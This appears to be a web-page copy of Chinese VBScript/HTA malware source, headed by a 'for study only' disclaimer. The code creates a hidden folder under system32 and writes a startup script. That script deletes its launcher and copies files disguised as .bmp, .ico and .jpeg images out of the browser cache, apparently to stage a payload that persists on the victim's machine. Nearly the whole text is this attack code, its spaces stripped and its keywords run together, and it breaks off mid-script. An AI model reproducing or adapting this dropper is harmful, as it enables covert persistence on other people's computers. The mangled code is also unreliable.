本文章只供学习使用，请勿做其他用途!

　　＜html＞

　　＜scriptlanguage=vbs＞

　　'onerrorresumenext

　　remczyascitboy2002.3.31

　　aosoao

　　subcal()

　　myname=document.location

　　IfRight(myname,3)="hta"Then

　　callsvbs()

　　endif

　　endsub

　　subsvbs()

　　'onerrorresumenext

　　setfso=createobject("Scripting.FileSystemObject")

　　Ifnot(fso.FolderExists("c:\windows\system32\qq"))Then

　　fso.CreateFolder("c:\windows\system32\qq")

　　callsv()

　　else

　　settimeout"aa()",1

　　endif

　　endsub

　　subsv()

　　setfso=createobject("Scripting.FileSystemObject")

　　setfil=fso.opentextfile("C:\WINDOWS\StartMenu\Programs\启动\so.vbs",2,tr

　　ue)

　　fil.writeline"drnext"

　　fil.writeline"subdrnext()"

　　fil.writeline"onerrorresumenext"

　　fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"

　　fil.writeline"If(fso.FileExists(""C:\WINDOWS\StartMenu\Programs\启动\so.h

　　ta""))Then"

　　fil.writeline"fso.DeleteFile(""C:\WINDOWS\StartMenu\Programs\启动\so.hta""

　　)"

　　fil.writeline"endif"

　　fil.writeline"foreachdrinfso.getfolder(""C:\windows\tempor~1"").subfold

　　ers"

　　fil.writeline"fdnext(dr)"

　　fil.writeline"flnext(dr)"

　　fil.writeline"next"

　　fil.writeline"endsub"

　　fil.writeline"subfdnext(dr)"

　　fil.writeline"foreachfdindr.subfolders"

　　fil.writeline"fdnext(fd)"

　　fil.writeline"flnext(fd)"

　　fil.writeline"next"

　　fil.writeline"endsub"

　　fil.writeline"subflnext(dr)"

　　fil.writeline"setfso=createobject(""Scripting.FileSystemObject"")"

　　fil.writeline"foreachflindr.files"

　　fil.writeline"IfLCase(fso.GetFileName(fl))=""123451[1].bmp""then"

　　fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.bmp"""

　　fil.writeline"elseifLCase(fso.GetFileName(fl))=""123452[1].ico""then"

　　fil.writeline"fso.CopyFilefl,""c:\windows\system32\qq\1.ico"""

　　fil.writeline"elseifLCase(fso.GetFileName(fl))=""123453[1].jpeg""then"